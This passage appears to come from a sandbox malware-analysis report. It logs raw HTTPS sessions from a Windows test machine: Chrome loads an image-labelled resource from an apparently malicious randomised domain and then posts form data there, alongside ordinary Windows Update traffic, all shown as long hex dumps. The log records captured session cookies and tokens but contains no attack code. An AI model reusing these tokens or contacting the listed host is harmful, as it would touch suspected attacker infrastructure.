81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 eb bb c0 e0 4c 63 a6 ea d8 01 78 Data Ascii: I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0Lcx
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba cd 59 c4 5f 7f ed d6 f6 d9 47 45 Data Ascii: V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\Y_GE
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 e3 e4 ad 94 c3 5b 89 bf 9e 5b ad Data Ascii: !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&[[
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b 07 f8 4f e0 96 e8 20 92 16 f0 00 Data Ascii: OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;O
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 9d f6 3c 30 31 3a 84 16 eb 2b c0 Data Ascii: ?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!<01:+
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 e6 82 0f 00 97 52 bd 15 f4 aa 60 Data Ascii: w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|R`
2024-08-23 14:22:00 UTC	1369	IN	Data Raw: 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 66 e0 5f d1 41 4a 62 7b d2 78 48 Data Ascii: >o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyerf_AJb{xH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.16	49829	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:59 UTC	1142	OUT	GET /stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:59 UTC	670	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:59 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i1VHPru096kD17cgvl%2B2NgqSWCN7X7CSKXp9DOm6Ei6G5W1QL9HzbBmNB9sUvvdPXM7Gq%2FPtjJqKeBRcskdXiBwMUYO18EEUY50P8XQaexF2d0%2FHiloUXifWDFA1PQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc08e3b8b7d00-EWR
2024-08-23 14:21:59 UTC	699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.16	49827	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RGfvLSaw8nkh3GL&MD=kE83BM7R HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-23 14:21:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: e81251e5-1161-45a8-b9c7-d9294d2a5ae4 MS-RequestId: 037d0623-2003-48da-8794-65440729f748 MS-CV: vnNxUM9/bUy+4UtB.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 23 Aug 2024 14:21:59 GMT Connection: close Content-Length: 30005
2024-08-23 14:21:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-08-23 14:21:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.16	49830	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:59 UTC	1623	OUT	POST /nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive Content-Length: 236 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://4quqe.oustfemin.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 